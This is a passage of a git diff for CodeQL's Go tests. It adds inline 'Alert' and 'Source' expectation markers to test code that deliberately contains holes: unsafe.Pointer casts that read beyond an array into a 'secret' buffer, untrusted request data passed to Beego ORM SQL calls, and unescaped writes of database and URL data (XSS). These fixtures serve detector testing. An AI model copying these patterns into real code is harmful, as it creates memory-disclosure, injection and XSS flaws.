WrongUsageOfUnsafe.go:111:31:111:58 | type conversion | WrongUsageOfUnsafe.go:111:16:111:59 | type conversion | $@. | WrongUsageOfUnsafe.go:111:31:111:58 | type conversion | Dangerous array type casting to [17]uint8 from an index expression ([8]uint8)[0] (the destination type is 9 elements longer) | +| WrongUsageOfUnsafe.go:129:16:129:56 | type conversion | WrongUsageOfUnsafe.go:129:31:129:55 | type conversion | WrongUsageOfUnsafe.go:129:16:129:56 | type conversion | $@. | WrongUsageOfUnsafe.go:129:31:129:55 | type conversion | Dangerous array type casting to [17]uint8 from [8]uint8 | +| WrongUsageOfUnsafe.go:149:16:149:56 | type conversion | WrongUsageOfUnsafe.go:149:31:149:55 | type conversion | WrongUsageOfUnsafe.go:149:16:149:56 | type conversion | $@. | WrongUsageOfUnsafe.go:149:31:149:55 | type conversion | Dangerous array type casting to [17]uint8 from [8]uint8 | +| WrongUsageOfUnsafe.go:166:16:166:58 | type conversion | WrongUsageOfUnsafe.go:166:33:166:57 | type conversion | WrongUsageOfUnsafe.go:166:16:166:58 | type conversion | $@. | WrongUsageOfUnsafe.go:166:33:166:57 | type conversion | Dangerous array type casting to [17]string from [8]string | +| WrongUsageOfUnsafe.go:189:16:189:56 | type conversion | WrongUsageOfUnsafe.go:189:31:189:55 | type conversion | WrongUsageOfUnsafe.go:189:16:189:56 | type conversion | $@. | WrongUsageOfUnsafe.go:189:31:189:55 | type conversion | Dangerous type up-casting to [17]uint8 from struct type | +| WrongUsageOfUnsafe.go:211:16:211:61 | type conversion | WrongUsageOfUnsafe.go:211:31:211:60 | type conversion | WrongUsageOfUnsafe.go:211:16:211:61 | type conversion | $@. | WrongUsageOfUnsafe.go:211:31:211:60 | type conversion | Dangerous array type casting to [17]uint8 from [8]uint8 | +| WrongUsageOfUnsafe.go:243:9:243:27 | type conversion | WrongUsageOfUnsafe.go:227:31:227:55 | type conversion | WrongUsageOfUnsafe.go:243:9:243:27 | type conversion | $@. | WrongUsageOfUnsafe.go:227:31:227:55 | type conversion | Dangerous array type casting to [17]uint8 from [8]uint8 | +| WrongUsageOfUnsafe.go:256:16:256:53 | type conversion | WrongUsageOfUnsafe.go:256:28:256:52 | type conversion | WrongUsageOfUnsafe.go:256:16:256:53 | type conversion | $@. | WrongUsageOfUnsafe.go:256:28:256:52 | type conversion | Dangerous array type casting to [4]int64 from [1]int64 | +| WrongUsageOfUnsafe.go:274:16:274:50 | type conversion | WrongUsageOfUnsafe.go:274:25:274:49 | type conversion | WrongUsageOfUnsafe.go:274:16:274:50 | type conversion | $@. | WrongUsageOfUnsafe.go:274:25:274:49 | type conversion | Dangerous numeric type casting to int64 from int8 | +| WrongUsageOfUnsafe.go:292:16:292:48 | type conversion | WrongUsageOfUnsafe.go:292:23:292:47 | type conversion | WrongUsageOfUnsafe.go:292:16:292:48 | type conversion | $@. | WrongUsageOfUnsafe.go:292:23:292:47 | type conversion | Dangerous numeric type casting to int from int8 | edges | WrongUsageOfUnsafe.go:17:24:17:48 | type conversion | WrongUsageOfUnsafe.go:17:13:17:49 | type conversion | provenance | | | WrongUsageOfUnsafe.go:34:24:34:51 | type conversion | WrongUsageOfUnsafe.go:34:13:34:52 | type conversion | provenance | | @@ -48,15 +60,3 @@ nodes | WrongUsageOfUnsafe.go:292:16:292:48 | type conversion | semmle.label | type conversion | | WrongUsageOfUnsafe.go:292:23:292:47 | type conversion | semmle.label | type conversion | subpaths -#select -| WrongUsageOfUnsafe.go:77:16:77:55 | type conversion | WrongUsageOfUnsafe.go:77:27:77:54 | type conversion | WrongUsageOfUnsafe.go:77:16:77:55 | type conversion | $@. | WrongUsageOfUnsafe.go:77:27:77:54 | type conversion | Dangerous array type casting to [8]uint8 from an index expression ([8]uint8)[2] (the destination type is 2 elements longer) | -| WrongUsageOfUnsafe.go:111:16:111:59 | type conversion | WrongUsageOfUnsafe.go:111:31:111:58 | type conversion | WrongUsageOfUnsafe.go:111:16:111:59 | type conversion | $@. | WrongUsageOfUnsafe.go:111:31:111:58 | type conversion | Dangerous array type casting to [17]uint8 from an index expression ([8]uint8)[0] (the destination type is 9 elements longer) | -| WrongUsageOfUnsafe.go:129:16:129:56 | type conversion | WrongUsageOfUnsafe.go:129:31:129:55 | type conversion | WrongUsageOfUnsafe.go:129:16:129:56 | type conversion | $@. | WrongUsageOfUnsafe.go:129:31:129:55 | type conversion | Dangerous array type casting to [17]uint8 from [8]uint8 | -| WrongUsageOfUnsafe.go:149:16:149:56 | type conversion | WrongUsageOfUnsafe.go:149:31:149:55 | type conversion | WrongUsageOfUnsafe.go:149:16:149:56 | type conversion | $@. | WrongUsageOfUnsafe.go:149:31:149:55 | type conversion | Dangerous array type casting to [17]uint8 from [8]uint8 | -| WrongUsageOfUnsafe.go:166:16:166:58 | type conversion | WrongUsageOfUnsafe.go:166:33:166:57 | type conversion | WrongUsageOfUnsafe.go:166:16:166:58 | type conversion | $@. | WrongUsageOfUnsafe.go:166:33:166:57 | type conversion | Dangerous array type casting to [17]string from [8]string | -| WrongUsageOfUnsafe.go:189:16:189:56 | type conversion | WrongUsageOfUnsafe.go:189:31:189:55 | type conversion | WrongUsageOfUnsafe.go:189:16:189:56 | type conversion | $@. | WrongUsageOfUnsafe.go:189:31:189:55 | type conversion | Dangerous type up-casting to [17]uint8 from struct type | -| WrongUsageOfUnsafe.go:211:16:211:61 | type conversion | WrongUsageOfUnsafe.go:211:31:211:60 | type conversion | WrongUsageOfUnsafe.go:211:16:211:61 | type conversion | $@. | WrongUsageOfUnsafe.go:211:31:211:60 | type conversion | Dangerous array type casting to [17]uint8 from [8]uint8 | -| WrongUsageOfUnsafe.go:243:9:243:27 | type conversion | WrongUsageOfUnsafe.go:227:31:227:55 | type conversion | WrongUsageOfUnsafe.go:243:9:243:27 | type conversion | $@. | WrongUsageOfUnsafe.go:227:31:227:55 | type conversion | Dangerous array type casting to [17]uint8 from [8]uint8 | -| WrongUsageOfUnsafe.go:256:16:256:53 | type conversion | WrongUsageOfUnsafe.go:256:28:256:52 | type conversion | WrongUsageOfUnsafe.go:256:16:256:53 | type conversion | $@. | WrongUsageOfUnsafe.go:256:28:256:52 | type conversion | Dangerous array type casting to [4]int64 from [1]int64 | -| WrongUsageOfUnsafe.go:274:16:274:50 | type conversion | WrongUsageOfUnsafe.go:274:25:274:49 | type conversion | WrongUsageOfUnsafe.go:274:16:274:50 | type conversion | $@. | WrongUsageOfUnsafe.go:274:25:274:49 | type conversion | Dangerous numeric type casting to int64 from int8 | -| WrongUsageOfUnsafe.go:292:16:292:48 | type conversion | WrongUsageOfUnsafe.go:292:23:292:47 | type conversion | WrongUsageOfUnsafe.go:292:16:292:48 | type conversion | $@. | WrongUsageOfUnsafe.go:292:23:292:47 | type conversion | Dangerous numeric type casting to int from int8 | diff --git a/go/ql/test/experimental/Unsafe/WrongUsageOfUnsafe.go b/go/ql/test/experimental/Unsafe/WrongUsageOfUnsafe.go index 8599550039a..f20b7289589 100644 --- a/go/ql/test/experimental/Unsafe/WrongUsageOfUnsafe.go +++ b/go/ql/test/experimental/Unsafe/WrongUsageOfUnsafe.go @@ -74,7 +74,7 @@ func badIndexExpr() { // the address of the 3rd element of the `harmless` array, // and continue for 8 bytes, going out of the boundaries of // `harmless` and crossing into the memory occupied by `secret`. - var leaking = (*[8]byte)(unsafe.Pointer(&harmless[2])) // BAD + var leaking = (*[8]byte)(unsafe.Pointer(&harmless[2])) // $ Alert // BAD fmt.Println(string((*leaking)[:])) @@ -108,7 +108,7 @@ func bad0() { // Read before secret, overflowing into secret // (notice we get the pointer to the first byte of harmless) - var leaking = (*[8 + 9]byte)(unsafe.Pointer(&harmless[0])) // BAD + var leaking = (*[8 + 9]byte)(unsafe.Pointer(&harmless[0])) // $ Alert // BAD fmt.Println(string((*leaking)[:])) @@ -126,7 +126,7 @@ func bad1() { // Read before secret, overflowing into secret // (notice we read more than the length of harmless) - var leaking = (*[8 + 9]byte)(unsafe.Pointer(&harmless)) // BAD + var leaking = (*[8 + 9]byte)(unsafe.Pointer(&harmless)) // $ Alert // BAD fmt.Println(string((*leaking)[:])) @@ -146,7 +146,7 @@ func bad2() { // Read before secret, overflowing into secret // (notice we read more than the length of harmless) - var leaking = (*[8 + 9]byte)(unsafe.Pointer(&harmless)) // BAD + var leaking = (*[8 + 9]byte)(unsafe.Pointer(&harmless)) // $ Alert // BAD fmt.Println(string((*leaking)[:])) @@ -163,7 +163,7 @@ func bad3() { // Read before secret, overflowing into secret // (notice we read more than the length of harmless) - var leaking = (*[8 + 9]string)(unsafe.Pointer(&harmless)) // BAD + var leaking = (*[8 + 9]string)(unsafe.Pointer(&harmless)) // $ Alert // BAD fmt.Println(*leaking) fmt.Println([17]string((*leaking))) @@ -186,7 +186,7 @@ func bad4() { // Read before secret, overflowing into secret // (notice we read more than the length of harmless) - var leaking = (*[8 + 9]byte)(unsafe.Pointer(&harmless)) // BAD + var leaking = (*[8 + 9]byte)(unsafe.Pointer(&harmless)) // $ Alert // BAD fmt.Println(string((*leaking)[:])) @@ -208,7 +208,7 @@ func bad5() { // Read before secret, overflowing into secret // (notice we read more than the length of harmless) - var leaking = (*[8 + 9]byte)(unsafe.Pointer(&harmless.Data)) // BAD + var leaking = (*[8 + 9]byte)(unsafe.Pointer(&harmless.Data)) // $ Alert // BAD fmt.Println(string(leaking[:])) @@ -224,7 +224,7 @@ func bad6() { secret := [9]byte{'s', 'e', 'n', 's', 'i', 't', 'i', 'v', 'e'} // Read before secret: - var leaking = buffer_request(unsafe.Pointer(&harmless)) // BAD (see inside buffer_request func) + var leaking = buffer_request(unsafe.Pointer(&harmless)) // $ Source // BAD (see inside buffer_request func) fmt.Println((string)(leaking[:])) @@ -240,7 +240,7 @@ func buffer_request(req unsafe.Pointer) [8 + 9]byte { // will be read, the read will also contain pieces of // data from `secret`. var buf [8 + 9]byte - buf = *(*[8 + 9]byte)(req) // BAD (from above func) + buf = *(*[8 + 9]byte)(req) // $ Alert // BAD (from above func) return buf } func bad7() { @@ -253,7 +253,7 @@ func bad7() { // (notice we read more than the length of harmless); // the leaking array will not contain letters, // but integers representing bytes from `secret`. - var leaking = (*[4]int64)(unsafe.Pointer(&harmless)) // BAD + var leaking = (*[4]int64)(unsafe.Pointer(&harmless)) // $ Alert // BAD fmt.Println(*leaking) @@ -271,7 +271,7 @@ func bad8() { // Read before secret, overflowing into secret // (notice we read more than the length of harmless); // the leaking data will contain some bits from `secret`. - var leaking = (*int64)(unsafe.Pointer(&harmless)) // BAD + var leaking = (*int64)(unsafe.Pointer(&harmless)) // $ Alert // BAD fmt.Println(*leaking) @@ -289,7 +289,7 @@ func bad9() { // Read before secret, overflowing into secret // (notice we read more than the length of harmless); // the leaking data will contain some bits from `secret`. - var leaking = (*int)(unsafe.Pointer(&harmless)) // BAD + var leaking = (*int)(unsafe.Pointer(&harmless)) // $ Alert // BAD fmt.Println(*leaking) diff --git a/go/ql/test/experimental/Unsafe/WrongUsageOfUnsafe.qlref b/go/ql/test/experimental/Unsafe/WrongUsageOfUnsafe.qlref index 2f5c54707c7..5496859ca2e 100644 --- a/go/ql/test/experimental/Unsafe/WrongUsageOfUnsafe.qlref +++ b/go/ql/test/experimental/Unsafe/WrongUsageOfUnsafe.qlref @@ -1 +1,2 @@ -experimental/Unsafe/WrongUsageOfUnsafe.ql +query: experimental/Unsafe/WrongUsageOfUnsafe.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/go/ql/test/library-tests/semmle/go/frameworks/BeegoOrm/SqlInjection.qlref b/go/ql/test/library-tests/semmle/go/frameworks/BeegoOrm/SqlInjection.qlref index b6916bd2cd4..e1918157744 100644 --- a/go/ql/test/library-tests/semmle/go/frameworks/BeegoOrm/SqlInjection.qlref +++ b/go/ql/test/library-tests/semmle/go/frameworks/BeegoOrm/SqlInjection.qlref @@ -1,2 +1,4 @@ query: Security/CWE-089/SqlInjection.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/go/ql/test/library-tests/semmle/go/frameworks/BeegoOrm/StoredXss.qlref b/go/ql/test/library-tests/semmle/go/frameworks/BeegoOrm/StoredXss.qlref index 66b7d67dd8f..f47ad25ca9c 100644 --- a/go/ql/test/library-tests/semmle/go/frameworks/BeegoOrm/StoredXss.qlref +++ b/go/ql/test/library-tests/semmle/go/frameworks/BeegoOrm/StoredXss.qlref @@ -1,2 +1,4 @@ query: Security/CWE-079/StoredXss.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/go/ql/test/library-tests/semmle/go/frameworks/BeegoOrm/test.go b/go/ql/test/library-tests/semmle/go/frameworks/BeegoOrm/test.go index cce152e57ef..5dacd494c05 100644 --- a/go/ql/test/library-tests/semmle/go/frameworks/BeegoOrm/test.go +++ b/go/ql/test/library-tests/semmle/go/frameworks/BeegoOrm/test.go @@ -8,61 +8,61 @@ import ( // BAD: using untrusted data in SQL queries func testDbMethods(bdb *orm.DB, untrustedSource *http.Request) { - untrusted := untrustedSource.UserAgent() + untrusted := untrustedSource.UserAgent() // $ Source[go/sql-injection] - bdb.Exec(untrusted) // $ querystring=untrusted - bdb.ExecContext(nil, untrusted) // $ querystring=untrusted - bdb.Prepare(untrusted) // $ querystring=untrusted - bdb.PrepareContext(nil, untrusted) // $ querystring=untrusted - bdb.Query(untrusted) // $ querystring=untrusted - bdb.QueryContext(nil, untrusted) // $ querystring=untrusted - bdb.QueryRow(untrusted) // $ querystring=untrusted - bdb.QueryRowContext(nil, untrusted) // $ querystring=untrusted + bdb.Exec(untrusted) // $ querystring=untrusted Alert[go/sql-injection] + bdb.ExecContext(nil, untrusted) // $ querystring=untrusted Alert[go/sql-injection] + bdb.Prepare(untrusted) // $ querystring=untrusted Alert[go/sql-injection] + bdb.PrepareContext(nil, untrusted) // $ querystring=untrusted Alert[go/sql-injection] + bdb.Query(untrusted) // $ querystring=untrusted Alert[go/sql-injection] + bdb.QueryContext(nil, untrusted) // $ querystring=untrusted Alert[go/sql-injection] + bdb.QueryRow(untrusted) // $ querystring=untrusted Alert[go/sql-injection] + bdb.QueryRowContext(nil, untrusted) // $ querystring=untrusted Alert[go/sql-injection] } // BAD: using untrusted data to build SQL queries (QueryBuilder does not sanitize its arguments) func testQueryBuilderMethods(qb orm.QueryBuilder, untrustedSource *http.Request) { - untrusted := untrustedSource.UserAgent() - untrusted2 := untrustedSource.UserAgent() + untrusted := untrustedSource.UserAgent() // $ Source[go/sql-injection] + untrusted2 := untrustedSource.UserAgent() // $ Source[go/sql-injection] - qb.Select(untrusted) // $ querystring=untrusted - qb.From(untrusted) // $ querystring=untrusted - qb.InnerJoin(untrusted) // $ querystring=untrusted - qb.LeftJoin(untrusted) // $ querystring=untrusted - qb.RightJoin(untrusted) // $ querystring=untrusted - qb.On(untrusted) // $ querystring=untrusted - qb.Where(untrusted) // $ querystring=untrusted - qb.And(untrusted) // $ querystring=untrusted - qb.Or(untrusted) // $ querystring=untrusted - qb.In(untrusted) // $ querystring=untrusted - qb.OrderBy(untrusted) // $ querystring=untrusted - qb.GroupBy(untrusted) // $ querystring=untrusted - qb.Having(untrusted) // $ querystring=untrusted - qb.Update(untrusted) // $ querystring=untrusted - qb.Set(untrusted) // $ querystring=untrusted - qb.Delete(untrusted) // $ querystring=untrusted - qb.InsertInto(untrusted, untrusted2) // $ querystring=untrusted querystring=untrusted2 - qb.Values(untrusted) // $ querystring=untrusted - qb.Subquery(untrusted, untrusted2) // $ querystring=untrusted querystring=untrusted2 + qb.Select(untrusted) // $ querystring=untrusted Alert[go/sql-injection] + qb.From(untrusted) // $ querystring=untrusted Alert[go/sql-injection] + qb.InnerJoin(untrusted) // $ querystring=untrusted Alert[go/sql-injection] + qb.LeftJoin(untrusted) // $ querystring=untrusted Alert[go/sql-injection] + qb.RightJoin(untrusted) // $ querystring=untrusted Alert[go/sql-injection] + qb.On(untrusted) // $ querystring=untrusted Alert[go/sql-injection] + qb.Where(untrusted) // $ querystring=untrusted Alert[go/sql-injection] + qb.And(untrusted) // $ querystring=untrusted Alert[go/sql-injection] + qb.Or(untrusted) // $ querystring=untrusted Alert[go/sql-injection] + qb.In(untrusted) // $ querystring=untrusted Alert[go/sql-injection] + qb.OrderBy(untrusted) // $ querystring=untrusted Alert[go/sql-injection] + qb.GroupBy(untrusted) // $ querystring=untrusted Alert[go/sql-injection] + qb.Having(untrusted) // $ querystring=untrusted Alert[go/sql-injection] + qb.Update(untrusted) // $ querystring=untrusted Alert[go/sql-injection] + qb.Set(untrusted) // $ querystring=untrusted Alert[go/sql-injection] + qb.Delete(untrusted) // $ querystring=untrusted Alert[go/sql-injection] + qb.InsertInto(untrusted, untrusted2) // $ querystring=untrusted querystring=untrusted2 Alert[go/sql-injection] + qb.Values(untrusted) // $ querystring=untrusted Alert[go/sql-injection] + qb.Subquery(untrusted, untrusted2) // $ querystring=untrusted querystring=untrusted2 Alert[go/sql-injection] } func testOrmerRaw(ormer orm.Ormer, untrustedSource *http.Request) { - untrusted := untrustedSource.UserAgent() + untrusted := untrustedSource.UserAgent() // $ Source[go/sql-injection] untrusted2 := untrustedSource.UserAgent() - ormer.Raw(untrusted, untrusted2) // $ querystring=untrusted // BAD: using an untrusted string as a query + ormer.Raw(untrusted, untrusted2) // $ querystring=untrusted Alert[go/sql-injection] // BAD: using an untrusted string as a query ormer.Raw("FROM ? SELECT ?", untrusted, untrusted2) // $ querystring="FROM ? SELECT ?" // GOOD: untrusted string used in argument context } func testFilterRaw(querySeter orm.QuerySeter, untrustedSource *http.Request) { - untrusted := untrustedSource.UserAgent() - querySeter.FilterRaw(untrusted, "safe") // $ querystring="safe" // GOOD: untrusted used as a column name - querySeter.FilterRaw("safe", untrusted) // $ querystring=untrusted // BAD: untrusted used as a SQL fragment + untrusted := untrustedSource.UserAgent() // $ Source[go/sql-injection] + querySeter.FilterRaw(untrusted, "safe") // $ querystring="safe" // GOOD: untrusted used as a column name + querySeter.FilterRaw("safe", untrusted) // $ querystring=untrusted Alert[go/sql-injection] // BAD: untrusted used as a SQL fragment } func testConditionRaw(cond orm.Condition, untrustedSource *http.Request) { - untrusted := untrustedSource.UserAgent() - cond.Raw(untrusted, "safe") // $ querystring="safe" // GOOD: untrusted used as a column name - cond.Raw("safe", untrusted) // $ querystring=untrusted // BAD: untrusted used as a SQL fragment + untrusted := untrustedSource.UserAgent() // $ Source[go/sql-injection] + cond.Raw(untrusted, "safe") // $ querystring="safe" // GOOD: untrusted used as a column name + cond.Raw("safe", untrusted) // $ querystring=untrusted Alert[go/sql-injection] // BAD: untrusted used as a SQL fragment } type SubStruct struct { @@ -77,90 +77,90 @@ type MyStruct struct { // BAD: (possible stored XSS) retrieving data from a database then writing to an HTTP response func testOrmerReads(ormer orm.Ormer, sink http.ResponseWriter) { obj := MyStruct{} - ormer.Read(&obj) - sink.Write([]byte(obj.field)) - sink.Write([]byte(obj.substructs[0].field)) + ormer.Read(&obj) // $ Source[go/stored-xss] + sink.Write([]byte(obj.field)) // $ Alert[go/stored-xss] + sink.Write([]byte(obj.substructs[0].field)) // $ Alert[go/stored-xss] obj2 := MyStruct{} - ormer.ReadForUpdate(&obj2) - sink.Write([]byte(obj2.field)) + ormer.ReadForUpdate(&obj2) // $ Source[go/stored-xss] + sink.Write([]byte(obj2.field)) // $ Alert[go/stored-xss] obj3 := MyStruct{} - ormer.ReadOrCreate(&obj3, "arg") - sink.Write([]byte(obj3.field)) + ormer.ReadOrCreate(&obj3, "arg") // $ Source[go/stored-xss] + sink.Write([]byte(obj3.field)) // $ Alert[go/stored-xss] } // BAD: (possible stored XSS) retrieving data from a database then writing to an HTTP response func testFieldReads(textField *orm.TextField, jsonField *orm.JSONField, jsonbField *orm.JsonbField, sink http.ResponseWriter) { - sink.Write([]byte(textField.Value())) - sink.Write([]byte(textField.RawValue().(string))) - sink.Write([]byte(textField.String())) - sink.Write([]byte(jsonField.Value())) - sink.Write([]byte(jsonField.RawValue().(string))) - sink.Write([]byte(jsonField.String())) - sink.Write([]byte(jsonbField.Value())) - sink.Write([]byte(jsonbField.RawValue().(string))) - sink.Write([]byte(jsonbField.String())) + sink.Write([]byte(textField.Value())) // $ Alert[go/stored-xss] + sink.Write([]byte(textField.RawValue().(string))) // $ Alert[go/stored-xss] + sink.Write([]byte(textField.String())) // $ Alert[go/stored-xss] + sink.Write([]byte(jsonField.Value())) // $ Alert[go/stored-xss] + sink.Write([]byte(jsonField.RawValue().(string))) // $ Alert[go/stored-xss] + sink.Write([]byte(jsonField.String())) // $ Alert[go/stored-xss] + sink.Write([]byte(jsonbField.Value())) // $ Alert[go/stored-xss] + sink.Write([]byte(jsonbField.RawValue().(string))) // $ Alert[go/stored-xss] + sink.Write([]byte(jsonbField.String())) // $ Alert[go/stored-xss] } // BAD: (possible stored XSS) retrieving data from a database then writing to an HTTP response func testQuerySeterReads(qs orm.QuerySeter, sink http.ResponseWriter) { var objs []*MyStruct - qs.All(&objs) - sink.Write([]byte(objs[0].field)) + qs.All(&objs) // $ Source[go/stored-xss] + sink.Write([]byte(objs[0].field)) // $ Alert[go/stored-xss] var obj MyStruct - qs.One(&obj) - sink.Write([]byte(obj.field)) + qs.One(&obj) // $ Source[go/stored-xss] + sink.Write([]byte(obj.field)) // $ Alert[go/stored-xss] var allMaps []orm.Params - qs.Values(&allMaps) - sink.Write([]byte(allMaps[0]["field"].(string))) + qs.Values(&allMaps) // $ Source[go/stored-xss] + sink.Write([]byte(allMaps[0]["field"].(string))) // $ Alert[go/stored-xss] var allLists []orm.ParamsList - qs.ValuesList(&allLists) - sink.Write([]byte(allLists[0][0].(string))) + qs.ValuesList(&allLists) // $ Source[go/stored-xss] + sink.Write([]byte(allLists[0][0].(string))) // $ Alert[go/stored-xss] var oneList orm.ParamsList - qs.ValuesFlat(&oneList, "colname") - sink.Write([]byte(oneList[0].(string))) + qs.ValuesFlat(&oneList, "colname") // $ Source[go/stored-xss] + sink.Write([]byte(oneList[0].(string))) // $ Alert[go/stored-xss] var oneRowMap orm.Params - qs.RowsToMap(&oneRowMap, "key", "value") - sink.Write([]byte(oneRowMap["field"].(string))) + qs.RowsToMap(&oneRowMap, "key", "value") // $ Source[go/stored-xss] + sink.Write([]byte(oneRowMap["field"].(string))) // $ Alert[go/stored-xss] var oneRowStruct MyStruct - qs.RowsToStruct(&oneRowStruct, "key", "value") - sink.Write([]byte(oneRowStruct.field)) + qs.RowsToStruct(&oneRowStruct, "key", "value") // $ Source[go/stored-xss] + sink.Write([]byte(oneRowStruct.field)) // $ Alert[go/stored-xss] } // BAD: (possible stored XSS) retrieving data from a database then writing to an HTTP response func testRawSeterReads(rs orm.RawSeter, sink http.ResponseWriter) { var allMaps []orm.Params - rs.Values(&allMaps) - sink.Write([]byte(allMaps[0]["field"].(string))) + rs.Values(&allMaps) // $ Source[go/stored-xss] + sink.Write([]byte(allMaps[0]["field"].(string))) // $ Alert[go/stored-xss] var allLists []orm.ParamsList - rs.ValuesList(&allLists) - sink.Write([]byte(allLists[0][0].(string))) + rs.ValuesList(&allLists) // $ Source[go/stored-xss] + sink.Write([]byte(allLists[0][0].(string))) // $ Alert[go/stored-xss] var oneList orm.ParamsList - rs.ValuesFlat(&oneList, "colname") - sink.Write([]byte(oneList[0].(string))) + rs.ValuesFlat(&oneList, "colname") // $ Source[go/stored-xss] + sink.Write([]byte(oneList[0].(string))) // $ Alert[go/stored-xss] var oneRowMap orm.Params - rs.RowsToMap(&oneRowMap, "key", "value") - sink.Write([]byte(oneRowMap["field"].(string))) + rs.RowsToMap(&oneRowMap, "key", "value") // $ Source[go/stored-xss] + sink.Write([]byte(oneRowMap["field"].(string))) // $ Alert[go/stored-xss] var oneRowStruct MyStruct - rs.RowsToStruct(&oneRowStruct, "key", "value") - sink.Write([]byte(oneRowStruct.field)) + rs.RowsToStruct(&oneRowStruct, "key", "value") // $ Source[go/stored-xss] + sink.Write([]byte(oneRowStruct.field)) // $ Alert[go/stored-xss] var strField string - rs.QueryRow(&strField) - sink.Write([]byte(strField)) + rs.QueryRow(&strField) // $ Source[go/stored-xss] + sink.Write([]byte(strField)) // $ Alert[go/stored-xss] var strFields []string - rs.QueryRows(&strFields) - sink.Write([]byte(strFields[0])) + rs.QueryRows(&strFields) // $ Source[go/stored-xss] + sink.Write([]byte(strFields[0])) // $ Alert[go/stored-xss] } diff --git a/go/ql/test/library-tests/semmle/go/frameworks/Chi/ReflectedXss.qlref b/go/ql/test/library-tests/semmle/go/frameworks/Chi/ReflectedXss.qlref index 754513d72bb..e6b791f39fc 100644 --- a/go/ql/test/library-tests/semmle/go/frameworks/Chi/ReflectedXss.qlref +++ b/go/ql/test/library-tests/semmle/go/frameworks/Chi/ReflectedXss.qlref @@ -1,2 +1,4 @@ query: Security/CWE-079/ReflectedXss.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/go/ql/test/library-tests/semmle/go/frameworks/Chi/test.go b/go/ql/test/library-tests/semmle/go/frameworks/Chi/test.go index f02e0cdfb15..aeb33fe8af0 100644 --- a/go/ql/test/library-tests/semmle/go/frameworks/Chi/test.go +++ b/go/ql/test/library-tests/semmle/go/frameworks/Chi/test.go @@ -10,7 +10,7 @@ var hidden string func hideUserData(next http.Handler) http.Handler { return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { - hidden = r.URL.Path + hidden = r.URL.Path // $ Source next.ServeHTTP(w, r) }) } @@ -18,10 +18,10 @@ func hideUserData(next http.Handler) http.Handler { func main() { r := chi.NewRouter() r.With(hideUserData).Get("/", func(w http.ResponseWriter, r *http.Request) { - w.Write([]byte(hidden)) - w.Write([]byte(chi.URLParam(r, "someParam"))) - w.Write([]byte(chi.URLParamFromCtx(r.Context(), "someKey"))) - w.Write([]byte(chi.RouteContext(r.Context()).URLParam("someOtherKey"))) + w.Write([]byte(hidden)) // $ Alert + w.Write([]byte(chi.URLParam(r, "someParam"))) // $ Alert + w.Write([]byte(chi.URLParamFromCtx(r.Context(), "someKey"))) // $ Alert + w.Write([]byte(chi.RouteContext(r.Context()).URLParam("someOtherKey"))) // $ Alert }) http.ListenAndServe(":3000", r) } diff --git a/go/ql/test/library-tests/semmle/go/frameworks/Echo/OpenRedirect.qlref b/go/ql/test/library-tests/semmle/go/frameworks/Echo/OpenRedirect.qlref index 867dd766561..13add930f51 100644 --- a/go/ql/test/library-tests/semmle/go/frameworks/Echo/OpenRedirect.qlref +++ b/go/ql/test/library-tests/semmle/go/frameworks/Echo/OpenRedirect.qlref @@ -1,2 +1,4 @@ query: Security/CWE-601/OpenUrlRedirect.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/go/ql/test/library-tests/semmle/go/frameworks/Echo/ReflectedXss.qlref b/go/ql/test/library-tests/semmle/go/frameworks/Echo/ReflectedXss.qlref index 754513d72bb..e6b791f39fc 100644 --- a/go/ql/test/library-tests/semmle/go/frameworks/Echo/ReflectedXss.qlref +++ b/go/ql/test/library-tests/semmle/go/frameworks/Echo/ReflectedXss.qlref @@ -1,2 +1,4 @@ query: Security/CWE-079/ReflectedXss.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/go/ql/test/library-tests/semmle/go/frameworks/Echo/TaintedPath.qlref b/go/ql/test/library-tests/semmle/go/frameworks/Echo/TaintedPath.qlref index 78ce25b1921..6eb2e94892f 100644 --- a/go/ql/test/library-tests/semmle/go/frameworks/Echo/TaintedPath.qlref +++ b/go/ql/test/library-tests/semmle/go/frameworks/Echo/TaintedPath.qlref @@ -1,2 +1,4 @@ query: Security/CWE-022/TaintedPath.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/go/ql/test/library-tests/semmle/go/frameworks/Echo/test.go b/go/ql/test/library-tests/semmle/go/frameworks/Echo/test.go index 4a9f4e161f6..2435d91c6d7 100644 --- a/go/ql/test/library-tests/semmle/go/frameworks/Echo/test.go +++ b/go/ql/test/library-tests/semmle/go/frameworks/Echo/test.go @@ -12,81 +12,81 @@ import ( // All are XSS vulnerabilities, except as specifically noted. func testParam(ctx echo.Context) error { - param := ctx.Param("someParam") - ctx.HTML(200, param) + param := ctx.Param("someParam") // $ Source[go/reflected-xss] + ctx.HTML(200, param) // $ Alert[go/reflected-xss] return nil } func testParamValues(ctx echo.Context) error { - param := ctx.ParamValues()[0] - ctx.HTML(200, param) + param := ctx.ParamValues()[0] // $ Source[go/reflected-xss] + ctx.HTML(200, param) // $ Alert[go/reflected-xss] return nil } func testQueryParam(ctx echo.Context) error { - param := ctx.QueryParam("someParam") - ctx.HTML(200, param) + param := ctx.QueryParam("someParam") // $ Source[go/reflected-xss] + ctx.HTML(200, param) // $ Alert[go/reflected-xss] return nil } func testQueryParams(ctx echo.Context) error { - param := ctx.QueryParams()["someParam"][0] - ctx.HTML(200, param) + param := ctx.QueryParams()["someParam"][0] // $ Source[go/reflected-xss] + ctx.HTML(200, param) // $ Alert[go/reflected-xss] return nil } func testQueryString(ctx echo.Context) error { - qstr := ctx.QueryString() - ctx.HTML(200, qstr) + qstr := ctx.QueryString() // $ Source[go/reflected-xss] + ctx.HTML(200, qstr) // $ Alert[go/reflected-xss] return nil } func testFormValue(ctx echo.Context) error { - val := ctx.FormValue("someField") - ctx.HTML(200, val) + val 